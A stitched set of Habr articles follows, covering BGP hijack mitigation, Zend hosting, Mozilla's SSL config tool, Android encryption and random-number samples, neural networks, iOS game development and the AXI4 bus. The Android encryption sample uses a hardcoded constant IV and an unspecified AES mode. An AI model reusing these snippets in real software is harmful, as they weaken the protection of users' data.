Looking at other security mechanisms, ASPA wouldn't help (because AS\_PATH is from the valid route) with this particular hijack. BGPSec is still a bad option due to deployment rate and remaining possibility of downgrading attack.
So we have a clear profit for an attacker and the lack of security. A great mix!
### What should be done?
The obvious and the most radical possible step — you can make a review of your current routing policy. Also, split your address space onto the smallest chunks (without intersections), that you have a desire to announce. Sign a ROA only for them without using a maxLength option. Then current ROV can and would save you from this attack. But again, for some operators, this is not a reasonable approach because of an exclusive use for more specific routes (all the problems in the current state of ROA and route objects would be described in one of our future articles).
Also, we can try to monitor this kind of situation. To do so, we need ground truth about your prefixes. So you can contact us, set a BGP session with our collector and pass us information about your view of the Internet. We’ll highly appreciate if you send us a full-view (so we can find propagation scope of other incidents), but the whole list of routes with your prefixes should be enough for the beginning. If you have already set a session with us, please check that all your routes are sent. We find around a few dozen of operators, that forget one or two of their prefixes and create noise in our finding methods. So we would have a reliable data about your prefixes and in the future can automatically detect this type of hijacks for your address space.
When you find out about this situation, you can also try to mitigate it. The first approach — announce routes with these more specific prefixes by yourself. In case of a new attack on these prefixes — repeat. The second approach — punish an attacker and those for whom he is a critical point (for good routes) by restricting access of your routes to him. You can do this by adding their ASN in AS\_PATH of your old routes and thus avoiding their AS by exploiting BGP route loop detection mechanism for your good, which we [described earlier](https://radar.qrator.net/blog/no-filters-shoot-your-foot). | https://habr.com/ru/post/447776/ | null | en | null |
# Shared Hosting & mod_rewrite
Небольшой совет для тех кто пишет приложения на Zend Framework с использованием структуры директорий рекомендуемой в мануале и, по умолчанию, в Zend\_Tool и размещает их по тем или иным причинам на shared хостингах.
Структура ваших директорий имеет вид:
> `projectname/
> application/
> controllers/
> views/
> scripts/
> library/
> public/
> tests/`
Директория public содержит файлы которые должны отдаваться пользователю веб сервером, по-этому ее необходимо устанавливать как DOCUMENT ROOT. Проблема заключается в том что часть хостеров не предоставляет доступа у изменению этого параметра, а так же к директориям выше уровнем, т. е. когда вы подключаетесь по FTP самый верхний уровень на который вы можете попасть — это внутрь DOCUMENT ROOT. | https://habr.com/ru/post/63053/ | null | ru | null |
# Как настроить HTTPS — поможет SSL Configuration Generator
Рассказываем об инструменте для конфигурации SSL, который разработали в Mozilla.
Под катом — о его возможностях и других утилитах для настройки сайтов.
[](https://habr.com/ru/company/1cloud/blog/459002/)
*Фото — [Lai Man Nung](https://unsplash.com/photos/6TkWJkbC49U) — Unsplash*
Зачем нужен генератор
---------------------
Прежде чем перейти к рассказу о возможностях инструмента, поговорим о его назначении. При работе с HTTPS шифрование применяется [в четырех случаях](https://www.smashingmagazine.com/2017/06/guide-switching-http-https/): во время обмена ключами, в [SSL-сертификатах](https://1cloud.ru/services/ssl), при пересылке сообщений и составлении хеш-суммы ([дайджеста](https://dic.academic.ru/dic.nsf/ruwiki/278392)).
В каждом из них используются различные наборы алгоритмов, о которых договариваются клиент и сервер. Они выбирают ассиметричный шифр для «рукопожатия», симметричный шифр для кодирования сообщений и алгоритм хеширования для дайджеста.
Например, шифронабор ECDHE-ECDSA-CHACHA20-POLY1305 означает, что обмен ключами происходит по протоколу Диффи — Хеллмана на эллиптических кривых ([ECDHE](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%BB_%D0%94%D0%B8%D1%84%D1%84%D0%B8_%E2%80%94_%D0%A5%D0%B5%D0%BB%D0%BB%D0%BC%D0%B0%D0%BD%D0%B0_%D0%BD%D0%B0_%D1%8D%D0%BB%D0%BB%D0%B8%D0%BF%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D1%85_%D0%BA%D1%80%D0%B8%D0%B2%D1%8B%D1%85)). При этом используются [эфемерные ключи](https://ru.wikipedia.org/wiki/%D0%AD%D1%84%D0%B5%D0%BC%D0%B5%D1%80%D0%BD%D1%8B%D0%B9_%D0%BA%D0%BB%D1%8E%D1%87) (одноразовые) для установки только одного соединения. Центр сертификации подписал сертификат при помощи алгоритма [ECDSA](https://ru.wikipedia.org/wiki/ECDSA) (Elliptic Curve Digital Signature Algorithm), а для шифрования сообщений применяется поточный алгоритм [ChaCha20](https://www.cryptopp.com/wiki/ChaCha20). За их целостность отвечает POLY1305, [вычисляющий](https://cr.yp.to/mac.html) 16-байтный аутентификатор.
Полный список всех доступных комбинаций алгоритмов можно найти на [wiki-страничке Mozilla](https://wiki.mozilla.org/Security/Server_Side_TLS#Cipher_names_correspondence_table).
Для настройки криптографических методов, используемых сервером, в сети есть специальные инструменты. Такую функциональность имеет [SSL Configuration Generator](https://ssl-config.mozilla.org/), разработанный в Mozilla.
Что он собой представляет
-------------------------
В Mozilla предлагают три рекомендуемые конфигурации для серверов, использующих TLS:
* **Современная** — для работы с клиентами, использующими TLS 1.3 без обратной совместимости.
* **Промежуточная** — рекомендуемая конфигурация для большинства серверов.
* **Устаревшая** — доступ к сервису осуществляется с помощью старых клиентов или библиотек, таких как IE8, Java 6 или OpenSSL 0.9.8.
Например, в первом случае генератор использует алгоритм шифрования [AES128/256](https://ru.wikipedia.org/wiki/Advanced_Encryption_Standard), алгоритм хеширования [SHA256/384](https://ru.wikipedia.org/wiki/SHA-2#SHA-256) и режим работы симметричных блочных шифров [GCM](https://ru.wikipedia.org/wiki/Galois/Counter_Mode). Вот пример шифронабора: TLS\_AES\_256\_GCM\_SHA384.
Во втором случае число используемых шифров гораздо больше, поскольку многие из них [исключили](https://en.wikipedia.org/wiki/Cipher_suite#TLS_1.3_handshake) из TLS 1.3 для повышения безопасности. Плюс в шифронаборе TLS 1.3 [не описывается](https://wiki.openssl.org/index.php/TLS1.3) тип сертификата и механизм обмена ключами. Поэтому в промежуточной конфигурации имеются протокол Диффи — Хеллмана с эфемерными ключами и [RSA](https://ru.wikipedia.org/wiki/RSA).
С учетом этих требований SSL Configuration Generator строит конфигурационный файл (OpenSSL). При построении можно выбрать необходимое серверное программное обеспечение: Apache, HAProxy, MySQL, nginx, PostgreSQL и еще пять других. Вот пример современной конфигурации для Apache:
```
# generated 2019-07-04, https://ssl-config.mozilla.org/#server=apache&server-version=2.4.39&config=modern
# requires mod_ssl, mod_socache_shmcb, mod_rewrite, and mod_headers
RewriteEngine On
RewriteRule ^(.\*)$ https://%{HTTP\_HOST}$1 [R=301,L]
SSLEngine on
SSLCertificateFile /path/to/signed\_cert\_and\_intermediate\_certs
SSLCertificateKeyFile /path/to/private\_key
# enable HTTP/2, if available
Protocols h2 http/1.1
# HTTP Strict Transport Security (mod\_headers is required) (63072000 seconds)
Header always set Strict-Transport-Security "max-age=63072000"
# modern configuration, tweak to your needs
SSLProtocol all -SSLv3 -TLSv1 -TLSv1.1 -TLSv1.2
SSLHonorCipherOrder off
SSLSessionTickets off
SSLUseStapling On
SSLStaplingCache "shmcb:logs/ssl_stapling(32768)"
```
Генерируемые конфигурации можно использовать в своем проекте, нужно лишь отредактировать пути сертификата и секретного ключа и загрузить настройки. Однако, как [говорит](https://news.ycombinator.com/item?id=9355636) один из резидентов Hacker News, важно обратить внимание на версию сервера, чтобы получить правильные результаты. В частности, вывод для nginx 1.0 и nginx 1.4 значительно отличается. Также [есть мнение](https://habr.com/ru/post/325230/#comment_10144438), что в некоторых случаях придется вручную подправить часть сгенерированных шифронаборов, чтобы сохранить обратную совместимость и получить высокую оценку в бенчмарках для сканирования сайтов.
Какие еще утилиты помогут с защитой сайтов
------------------------------------------
В портфолио Mozilla есть несколько утилит, которые помогут проверить надежность ресурса после конфигурирования SSL.
Первая — это [Mozilla Observatory](https://observatory.mozilla.org/). Изначально компания разрабатывала инструмент для проверки защищенности своих собственных доменов. Теперь он доступен всем вместе [с исходным кодом](https://github.com/mozilla/http-observatory). Observatory сканирует сайты на самые популярные уязвимости, среди них: [потенциально опасные cookies](https://infosec.mozilla.org/guidelines/web_security#cookies), [XSS-уязвимости](https://infosec.mozilla.org/guidelines/web_security#x-xss-protection) и [редиректы](https://infosec.mozilla.org/guidelines/web_security#http-redirections). После сканирования системы выдает набор рекомендаций для повышения безопасности интернет-ресурса.

*Фото — [sebastiaan stam](https://unsplash.com/photos/RChZT-JlI9g) — Unsplash*
Еще одна полезный инструмент — [Firefox Monitor](https://monitor.firefox.com/). Она отслеживает последние утечки данных и посылает уведомления, если информация с какого-либо сайта попала в руки хакеров. Таким образом, администраторы получают возможность оперативно принять меры, минимизировать ущерб и сделать так, чтобы история не повторилась в будущем.
> **Наши публикации из блогов и социальных сетей:**
>
>
>
>  [Как защитить виртуальный сервер в интернете](https://1cloud.ru/blog/kak-zaschitit-server-v-internete?utm_source=habrahabr&utm_medium=cpm&utm_campaign=ssl&utm_content=blog)
>
>  [Зачем нужен мониторинг?](https://1cloud.ru/blog/zachem-nujen-monitoring?utm_source=habrahabr&utm_medium=cpm&utm_campaign=ssl&utm_content=blog)
>
>  [Получение OV и EV сертификата — что нужно знать?](https://1cloud.ru/blog/poluchenie-ssl-sertifikatov-ov-ev?utm_source=habrahabr&utm_medium=cpm&utm_campaign=ssl&utm_content=blog)
>
>
>
>  [Mobile-first индексация с первого июля — как проверить свой сайт?](https://www.facebook.com/1cloudru/photos/a.1526614574327724/2361028900886283)
>
>  [F.A.Q. по частному облаку от 1cloud](https://www.facebook.com/1cloudru/photos/a.1526614574327724/2362462034076303/)
>
>
>
>  [Как оценить производительность СХД на Linux: бенчмаркинг с помощью открытых инструментов](https://habr.com/ru/company/1cloud/blog/458204/)
>
>  [Есть мнение: технология DANE для браузеров провалилась](https://habr.com/ru/company/1cloud/blog/454322/) | https://habr.com/ru/post/459002/ | null | ru | null |
# Шифрование и генерация случайных чисел в Android приложениях. Тестовые примеры
В этой статье мы приведем тестовые фрагменты кода, реализующего две основополагающие с точки зрения безопасности функции в Android приложениях: генерацию случайных чисел и шифрование данных. Рекомендуем попробовать все приведенные варианты, а по прочтении текста – скомпилировать тестовое приложение, скачав его по ссылке.
#### **Шифрование данных**
Шифрование имеет важное значение, поскольку позволяет скрыть от посторонних глаз то, что им не следует видеть. Мобильные устройства хранят все больше и больше значимой информации, и защитить ее – прямая обязанность каждого разработчика.
Существует два варианта шифрования данных под Android: с использованием Java Crypto API и OpenSSL API (нативный код). Мы рассмотрим оба.

##### Java Crypto API
Использовать Java Crypto API под Android очень просто. Сначала вам необходимо сгенерировать ключ шифрования. За это отвечает класс KeyGenerator в пэкедже javax.crypto.
```
mKey = null;
try {
kgen = KeyGenerator.getInstance("AES");
mKey = kgen.generateKey();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
```
Теперь вы можете использовать сгенерированный ключ для шифрования файлов с данными. Для этого зашифруем блоки байтов по алгоритму AES с помощью javax.crypto.
```
// open stream to read origFilepath. We are going to save encrypted contents to outfile
InputStream fis = new FileInputStream(origFilepath);
File outfile = new File(encFilepath);
int read = 0;
if (!outfile.exists())
outfile.createNewFile();
FileOutputStream encfos = new FileOutputStream(outfile);
// Create Cipher using "AES" provider
Cipher encipher = Cipher.getInstance("AES");
encipher.init(Cipher.ENCRYPT_MODE, mKey);
CipherOutputStream cos = new CipherOutputStream(encfos, encipher);
// capture time it takes to encrypt file
start = System.nanoTime();
Log.d(TAG, String.valueOf(start));
byte[] block = new byte[mBlocksize];
while ((read = fis.read(block,0,mBlocksize)) != -1) {
cos.write(block,0, read);
}
cos.close();
stop = System.nanoTime();
Log.d(TAG, String.valueOf(stop));
seconds = (stop - start) / 1000000;// for milliseconds
Log.d(TAG, String.valueOf(seconds));
fis.close();
```
##### OpenSSL API
Шифрование данных через OpenSSL под Android требует написания нативного кода С, который доступен в Java через вызовы JNI. Это отнимает больше времени, зато быстродействие в результате будет выше.
Для начала сгенерируем ключ и iv.
```
unsigned char cKeyBuffer[KEYSIZE/sizeof(unsigned char)];
unsigned char iv[] = "01234567890123456";
int opensslIsSeeded = 0;
if (!opensslIsSeeded) {
if (!RAND_load_file("/dev/urandom", seedbytes)) {
return -1;
}
opensslIsSeeded = 1;
}
if (!RAND_bytes((unsigned char *)cKeyBuffer, KEYSIZE )) {
}
```
Теперь мы можем использовать сгенерированный ключ (cKeyBuffer) для шифрования файла. Инициализируем EVP с помощью вашего ключа и iv. Теперь подаем блоки байтов на вход функции EVP\_EncryptUpdate. Последняя порция байтов из вашего файла должна быть скормлена функции EVP\_EncryptFinal\_ex.
```
if (!(EVP_EncryptInit_ex(e_ctx, EVP_aes_256_cbc(), NULL, cKeyBuffer, iv ))) {
ret = -1;
printf( "ERROR: EVP_ENCRYPTINIT_EXn");
}
// go through file, and encrypt
if ( orig_file != NULL ) {
origData = new unsigned char[aes_blocksize];
encData = new unsigned char[aes_blocksize+EVP_CIPHER_CTX_block_size(e_ctx)]; // potential for encryption to be 16 bytes longer than original
printf( "Encoding file: %sn", filename);
bytesread = fread(origData, 1, aes_blocksize, orig_file);
// read bytes from file, then send to cipher
while ( bytesread ) {
if (!(EVP_EncryptUpdate(e_ctx, encData, &len, origData, bytesread))) {
ret = -1;
printf( "ERROR: EVP_ENCRYPTUPDATEn");
}
encData_len = len;
fwrite(encData, 1, encData_len, enc_file );
// read more bytes
bytesread = fread(origData, 1, aes_blocksize, orig_file);
}
// last step encryption
if (!(EVP_EncryptFinal_ex(e_ctx, encData, &len))) {
ret = -1;
printf( "ERROR: EVP_ENCRYPTFINAL_EXn");
}
encData_len = len;
fwrite(encData, 1, encData_len, enc_file );
// free cipher
EVP_CIPHER_CTX_free(e_ctx);
```
[Оригинал статьи на сайте Intel IDZ](https://software.intel.com/en-us/android/articles/sample-code-data-encryption-application)
[Исходники тестового приложения](https://software.intel.com/sites/default/files/managed/13/2d/DataEncryption.zip)
#### **Генерация случайных чисел**
Генератор случайных чисел (RNG) – это программа или устройство для производства случайной последовательности чисел на определенном промежутке. RNG является жизненно важным для безопасности приложения. В реальности криптографический протокол может быть очень надежным, но при этом подверженным разнообразным атакам из-за того, что в своей основе использует слабые методы генерации ключа. Для усиления ключа и повышения надежности всей системы в целом может использоваться аппаратная поддержка RNG.

Существует целых 4 способа сгенерировать случайные числа в Android:
* java.util.random
* java.security.SecureRandom
* /dev/urandom
* OpenSSL API
Однако, если вы используете RNG для генерации ключа, защищающего ваши данные, использовать обычный класс Random не рекомендуется, так его легче всего взломать. Остальные 3 метода обеспечивают более надежную защиту.
##### java.util.random
Использовать Java Random Number API очень просто. Вызов Random.nextInt() возвратит 4-байтное случайное значение (общее количество возможных значений – 232). Это API вполне годится для случаев, когда не требуется полагаться на действительно случайные числа.
```
for (int i = 0; i < lastVal; i += 2) {
dataRandomPoints[i] = (rand.nextInt() % widget_width);
dataRandomPoints[i+1] = (rand.nextInt() % widget_height);
}
```
##### java.security.SecureRandom
SecureRandom похож на java.util.Random в том смысле, что также возвращает 4-байтовое значение. SecureRandom криптографически более надежен, однако разработчики должны ознакомиться с [недавней рекомендацией](http://android-developers.blogspot.com/2013/08/some-securerandom-thoughts.html) генерировать затравочную величину с помощью /dev/urandom для SecureRandom перед генерацией случайных чисел. В примере ниже /dev/urandom не используется.
```
SecureRandom srand = new SecureRandom();
shouldDraw = (srand.nextInt() % randomMod );
```
##### /dev/urandom
Во всех операционных системах семейства Linux, включая Android, имеется специальный файл, созданный ядром, с помощью которого можно предоставить случайные числа приложениям. Среди всех 4 способов этот самый медленный, он генерирует криптографически безопасные значения с высокой энтропией путем объединения шумовых величин из различных частей операционной системы (например, драйверов устройств) для RNG. Мы можем получить случайное число непосредственно из ядра, прочитав файл /dev/urandom. /dev/urandom имеет доступ к аппаратному RNG, если таковой имеется.
```
unsigned int cKeyBuffer[keysize];
memset(cKeyBuffer, 0, sizeof(unsigned int) * keysize);
FILE *fin;
strcpy(filein, "/dev/urandom");
fin = fopen(filein, "rb");
if (fin != NULL) {
fread(cKeyBuffer, sizeof(int), keysize, fin);
fclose (fin);
}
```
##### OpenSSL API
Мы также можем использовать OpenSSL API для получения случайных чисел в нативном коде С. В OpenSSL возможно использование затравочных байт из /dev/urandom для генерации криптографически безопасных случайных чисел. OpenSSL API обратится к аппаратному RNG, если таковой имеется.
```
int seedbytes = 1024;
unsigned int cKeyBuffer[keysize];
memset(cKeyBuffer, 0, sizeof(unsigned int) * keysize);
if (!opensslIsSeeded) {
if (!RAND_load_file("/dev/urandom", seedbytes)) {
__android_log_print(ANDROID_LOG_ERROR, TAG, "Failed to seed OpenSSL RNG");
return jKeyBuffer;
}
opensslIsSeeded = 1;
}
if (!RAND_bytes((unsigned char *)cKeyBuffer, keysize * sizeof(int))) {
__android_log_print(ANDROID_LOG_ERROR, TAG, "Faled to create OpenSSSL random integers: %ul", ERR_get_error);
}
```
[Оригинал статьи на сайте Intel IDZ](https://software.intel.com/en-us/android/articles/sample-code-random-number-application)
[Исходники тестового приложения](https://software.intel.com/sites/default/files/managed/16/df/RandomNumber.zip) | https://habr.com/ru/post/224285/ | null | ru | null |
# Руководство хакера по нейронным сетям. Глава 2: Машинное обучение. Бинарная классификация
Содержание:
**Глава 1: Схемы реальных значений**[Часть 1:](http://habrahabr.ru/company/paysto/blog/244723/)
```
Введение
Базовый сценарий: Простой логический элемент в схеме
Цель
Стратегия №1: Произвольный локальный поиск
```
[Часть 2:](http://habrahabr.ru/company/paysto/blog/244935/)
```
Стратегия №2: Числовой градиент
```
[Часть 3:](http://habrahabr.ru/company/paysto/blog/245051/)
```
Стратегия №3: Аналитический градиент
```
[Часть 4:](http://habrahabr.ru/company/paysto/blog/245403/)
```
Схемы с несколькими логическими элементами
Обратное распространение ошибки
```
[Часть 5:](http://habrahabr.ru/company/paysto/blog/246093/)
```
Шаблоны в «обратном» потоке
Пример "Один нейрон"
```
[Часть 6:](http://habrahabr.ru/company/paysto/blog/246397/)
```
Становимся мастером обратного распространения ошибки
```
**Глава 2: Машинное обучение**[Часть 7:](http://habrahabr.ru/company/paysto/blog/246523/)
```
Бинарная классификация
```
[Часть 8:](http://habrahabr.ru/company/paysto/blog/246849/)
```
Обучение сети на основе метода опорных векторов (SVM)
```
[Часть 9:](http://habrahabr.ru/company/paysto/blog/246973/)
```
Обобщаем SVM до нейронной сети
```
[Часть 10:](http://habrahabr.ru/company/paysto/blog/247033/)
```
Более традиционный подход: Функции потерь
```
В последней главе мы рассматривали схемы с реальными значениями, которые вычисляли сложные выражения своих исходных значений (проход вперед), а также мы смогли рассчитать градиенты этих выражений по оригинальным исходным значениям (обратный проход). В этой главе мы поймем, насколько полезным может быть этот довольно простой механизм в обучении машины.
**Бинарная классификация**
Как и раньше, давайте начнем с простого. Наиболее простой, стандартной и при этом довольно распространенной проблемой машинного обучения является бинарная классификация. К ней можно свести множество очень интересных и важных проблем. Например, нам дан набор данных из N векторов и каждый из них помечен значением +1 или -1. В двумерном виде наш набор данных может выглядеть следующим образом:
вектор -> метка
```
---------------
[1.2, 0.7] -> +1
[-0.3, 0.5] -> -1
[-3, -1] -> +1
[0.1, 1.0] -> -1
[3.0, 1.1] -> -1
[2.1, -3] -> +1
```
Здесь у нас N = 6 точек ввода данных, где у каждой точки есть две характеристики (D = 2). Три точки данных имеют метку +1, а остальные три – метку -1. Это простейший пример, но на практике набор данных +1/-1 может оказаться действительно полезным: например, определение спама/не спама среди электронных писем, в котором векторы каким-то образом оценивают различные характеристики содержимого писем, такие как количество упоминаний определенного волшебного средства.
Цель. Наша цель в бинарной классификации – разобраться с функцией, которая принимает двухмерный вектор и прогнозирует метку. Эта функция обычно параметризируется определенным набором параметров, и нам нужно настроить параметры этой функции таким образом, чтобы ее результаты соответствовали меткам в приведенном наборе данных. В конечном итоге, мы можем отбросить набор данных и использовать обнаруженные параметры для прогнозирования меток для ранее неизвестных векторов.
**Протокол обучения**
Мы наконец-то начнем строить целые нейронные сети и сложные выражения, но давайте начнем с простого, и обучим линейный классификатор, очень похожий на один нейрон, который мы рассматривали в конце Главы 1. Единственное отличие заключается в том, что мы откажемся от сигмоиды, так как она все излишне усложняет (я использовал ее только в качестве примера в Главе 1, так как исторически сигмоидные нейроны популярны, хотя современные нейронные сети крайне редко используют нелинейности сигмоиды). В любом случае, давайте возьмем простую линейную функцию: **f(x,y)=ax+by+c**
В этом выражении мы рассматриваем **x** и **y** в качестве исходных значений (двухмерных векторов), а **a,b,c** – в качестве параметров функции, которые нам нужно узнать. Например, если a = 1, b = -2, c = -1, тогда функция примет первую точку ввода данных ([1.2, 0.7]) и результат будет 1 \* 1.2 + (-2) \* 0.7 + (-1) = -1.2. Вот каким образом будет действовать обучение:
1. Мы выбираем произвольную точку ввода данных и проводим ее через схему.
2. Мы интерпретируем результат схемы, чтобы убедиться, что точка ввода данных имеет класс +1 (т.е. очень высокие значения: схема абсолютно уверена, что точка ввода данных имеет класс +1, а очень низкие значения: схема абсолютно уверена, что точка ввода данных имеет класс -1).
3. Мы измеряем, насколько хорошо прогноз выстраивает представленные метки. Чтобы показать наглядно — например, если положительный пример выдает очень низкие значения, нам нужно будет подтянуть его в положительном направлении по схеме, требуя, чтобы он выдал более высокое значение для этой точки ввода данных. Обратите внимание, что это пример для первой точки ввода данных: она имеет метку +1, но наша функция прогнозирования назначает ей значение -1.2. Поэтому мы подтолкнем ее по схеме в положительном направлении. Нам нужно, чтобы значение было выше.
4. Схема примет толчок и ответит обратным распространением ошибки, чтобы рассчитать толчки на исходные значения **a,b,c,x,y**.
5. Так как мы рассматриваем x,y в качестве (фиксированных) точек ввода данных, мы будем игнорировать натяжение в отношении x,y. Если вам нравятся мои физические аналогии, то представьте себе эти исходные значения в виде колышков, вбитых в землю.
6. С другой стороны, мы возьмем параметры a,b,c и заставим их реагировать на их толчок (т.е. мы выполним так называемое обновление параметров). Это, конечно, может привести к тому, что схема выдаст немного более высокие значения по этой конкретной точке ввода данных в будущем.
7. Повторяем! Возвращаемся к шагу 1.
Схема обучения, которую я описал выше, в целом относится к Стохастическому градиентному спуску. Интересный момент, который мне хотелось бы повторить еще раз, это то, что **a,b,c,x,y** состоят из одинаковых элементов, насколько это может обеспечивать схема: они представляют собой исходные значения схемы, и схема будет толкать их все в определенном направлении. Она не знает разницы между параметрами и точками ввода данных. Однако, после завершения обратного прохода, мы игнорируем все толчки на точки ввода данных (x,y) и продолжаем загружать и выгружать их по мере повторения наших примеров в наборе данных. С другой стороны, мы сохраняем параметры (a,b,c) и продолжаем подталкивать их каждый раз, когда мы измеряем точку ввода данных. Со временем натяжение в отношении этих параметров подстроит эти значения таким образом, что функция выдаст высокие значения для положительных примеров и низкие – для отрицательных. | https://habr.com/ru/post/246523/ | null | ru | null |
# 7 бубей iOS разработчика игр
Долгих лет жизни читающему эти строчки.
В статье обобщен трехлетний опыт создания iOS игр для личного пользования.
Примеров программного кода не будет. За примерами программного Вы идите на [stackoverflow.com](http://www.stackoverflow.com).
В статье разбирается создание приложения на примере неопубликованной игры Five Diamonds.
Строгих редакторов предупреждаю, что приложение не выложено ни в какие магазины, просьба не перемещать меня в ненужные разделы.
Лентяям предлагаю посмотреть видео-ролик.
Остальных приглашаю в мир букв и забавных событий.
Разработка игры для iPhone состоит из 7 камней. *Идея, Картинки, Иконка, Звуки Му, Программирование, Help, Описание*.
Туда 7 драгоценных камней Google переводит как 7 diamonds.
Обратно 7 diamonds Google переводит как 7 бубей.
Итак, 7 бубей моей iOS разработки.
#### Идея
Идея игры *Five Diamonds* (по-русски *Брюлики*) выросла из мега-хита *Lines*. 1989 год, съедаются 5 и более шариков одного цвета, выстроенных в линию.

Первым делом я проверил наличие аналогов в *appStore*. По запросу Lines нашлось более 500 игр, все хорошие, но убогие.
Понятно почему. Классический Lines имеет слишком большую доску размером 9х9 клеток. iPhone же комфортен на полях 6х6. Это предел для тыканья пальцем в экран.
Как разрешить проблему? Либо уменьшить размер доски, либо не пачкать экран. Я реализовал оба варианта.
Сперва я уменьшил доску для Lines до размера 6х6 и число сгорающих шариков в линии сократил до 4-ех. Игра стала интересной, но тупой.
Как раз для американского рынка.
Мне не хотелось на американский рынок, мне хотелось играть самому.
Я вернул сгорание 5-и предметов, но добавил возможность собирать фигурки не только по цветам, но и по форме. 4 цвета, 4 формы. 4х4. Мне повезло.
Это решение оказалось оптимальным вариантом для новой игры.
#### Картинки
Картинки я взял из интернета по запросу *gems icon*.

Остальные, оттуда же, из [google.com](http://www.google.com).
*Apple и Xcode 4.5* кладут с прибором на поддержку старых алюминиевых iPhone и заставляют разработчиков делать три splash картинки.
```
Default.png размером 320x480.
Default@2x.png размером 640x960.
Default-568h@2x.png размером 640x1136.
```
Прочие картинки для игры я делаю в хорошем разрешении. Например, для кнопки размером *60х60 пикселей*, создаю картинку размером *240х240*. Не экономлю чужие мегабайты. Но экономлю энергию экрана.
Фон для пасьянсных игр должен быть черным, с легким светлым градиентом к центру.
#### Иконка
Иконку надо создавать на финише разработки. Поиграть в игру. Проникнуться атмосферой. Должна быть гармония между настроением и изображением.
Драфт-иконку я выбрал из интернета по запросу *free template ios app icon*.
Кстати, там есть ссылки на хабр. Каюсь, взял без спросу.
Необходимо чуть-чуть знаний фотошопа для модификации иконки.

Иконка должна быть тупой, контрастной и простой.
Магазин завален яркими иконками, на которых не останавливается взгляд.
Мой 4-летний сын имеет 20 приложений. 20 гонок. Хорошие приложения. Но я их не отличаю по иконкам друг от друга.
Как будто под копирку сделаны — клетчатые флаги, кричащие цвета.
Выделяется лишь *кармагеддон* — красная 4-битная морда *EGA* разрешения. В нее и играю иногда. Хотя управление поворотами там сделано плохо — не используют гироскоп, странные ребята.
*Apple и Xcode 4.5* заставляют делать три иконки под *iPhone*.
```
Icon.jpeg размером 1024x1024
Icon@2x.png размером 114x114
Icon.png размером 57x57
```
#### Звуки и мелодия
Звуков на [freesound.org](http://www.freesound.org) полно. Главное условие- длительность звучания не более 1 секунды.
Фоновую мелодию для экрана меню можно наиграть самому на гитаре. С рабочим шумом из соседних кубиков. На удивление приятно получается. Хотя это личное мнение. Мне все таки 50 лет, а не 20.
Для *Five Diamonds* я скачал альбом старого советског *ВИА «Зодиак»* под управлением *Яниса Лусенса*. Надо напомнить миру о нем.
Мелодия играет на всех экранах, кроме игрового. Я уважаю тишину и пользователя. Продолжительность звучания должна быть секунд 30, чтобы не весить толще 500 килобайт. Хотя я обещал не экономить память, здесь сэкономил.
Авторские права? пиратство?
Я написал автору композиции **02-Pasifik.mp3** Янису Лусенсу письмо с просьбой разрешить использовать его мелодию в игре.
Ответила секретарь
— 500 евро, и песня Ваша.
500 евро за 5 минут стерео?
— Отлично, -ответил я, — Я беру первые 30 секунд из Вашей композиции. 50 евро. Превращаю их в моно. 25 евро. Сохраняю в сигнал с битрейтом 128. Итого — 10 евро, согласны?
Что-то ответа до сих пор нет. Видимо, согласны.
#### Программирование
Я мыслю, как *8086 процессор*. Поэтому не могу Вас научить современному программированию.
Мало того, я категорический противник использования чужих популярных frameworks типа Unity3d.
Стандартными средствами делают стандартные приложения. Они могут быть классными, но никому не интересными. Поезд ушел, парни, рынок заполнен. Идеи правят миром и оригинальная реализация.
И, конечно, я ем только чистый Objective-C. Вкус этого языка я не мог распознать полгода. Но мозг перевернулся, я полюбил его и с ужасом смотрю на С++, Java и PHP.
Для символического зарабатывания денег я вставил рекламу. Рано или поздно я опубликую игру. Думаю в декабре.
Для зарабатывания на рекламе я использую стандартную связку iAd+AdMob.
В Америке и окрестностях работает iAd, в России и прочем мире AdMob. Связывает их воедино сервис [adwhirl.com](http://www.adwhirl.com).
Хотя google с этого года ввел новый сервис admob mediation, но я консерватор, на новые рельсы не перешел.
В новом Xcode появилась поддержка iPhone 5. Приходится дублировать xib файлы и визуально размещать элементы для двух разрешений экрана.
А в теле главного viewController я использую код для определения типа экрана
```
CGRect screenBounds = [[UIScreen mainScreen] bounds];
if (screenBounds.size.height == 568) {
iPhone5 = 1;
} else {
iPhone5 = 0;
}
```
Чорт, это все таки был код?
#### Help
Help должен быть хорошим. Не более одной текстовой строки на экран. Анимация и расчет на тупых.
Help 100 крат важней иконки. Проверено на личном опыте. В приложение *Five Diamonds* дети только ради страницы Help и заходят.
Похелпят и дальше мультики смотрят. Хороши интеллектуальные подсказки, которые следят за реакцией игрока. Для новичка выкидывают подсказки, для опытных молчат в тряпочку. Такой Help требует больше программирования, чем сама игра.
#### Описание
Описание для appStore включает текст, скриншоты и видео. Видео нужно исключительно для Хабра.
Из приложения и магазина на [youtube](http://www.youtube.com/watch?v=aJaz9eZsRFU) никто не заходит!!!
Например, у меня в игре Чапай 95 000+ игроков и кнопка посмотреть видео *Как Играть* внутри приложения. До публикации статьи на Хабре было 60 просмотров. После публикации статьи на Хабре — 7000 просмотров.
Как играть, не тыкая пальцем в экран, я напишу в другой статье. Если интересно.
Спасибо за внимание. | https://habr.com/ru/post/158585/ | null | ru | null |
# System-on-Chip bus: AXI4 simplified and explained
Introduction
------------
Example AXI4 Topology with L2, PCIe, Ethernet MAC, DMA, and CPUs. Arrows show Master -> Slave relationProtocol AXI4 was developed for High-bandwidth and low latency applications. It is designed to allow communication between master and slave devices. Master is typically a DMA or CPU and slaves are DRAM controllers, or other specific protocol controllers: UART, SPI, and others. Sometimes one component can implement multiple instances of this protocol. Usually, a prefix is used to differentiate between multiple AXI4 interfaces.
For example, Ethernet MAC can integrate DMA and slave interface used to command MAC. MAC can accept commands on the slave interface that contain data about the location of the next ethernet packet and MAC can start fetching this packet using the separate master interface instance.
This article was motivated by common design mistakes AXI4 designers make when they are designing their Digital IP. (Looking at you Xilinx)
Channels
--------
Channels are carriers of channel transactions. AXI4 implements 5 channels:
* Read Address: AR, channel from master to slave
* Read data: R, channel from slave to master
* Write Address: AW, channel from master to slave
* Write data: W, channel from master to slave
* Write response: B, channel from slave to master
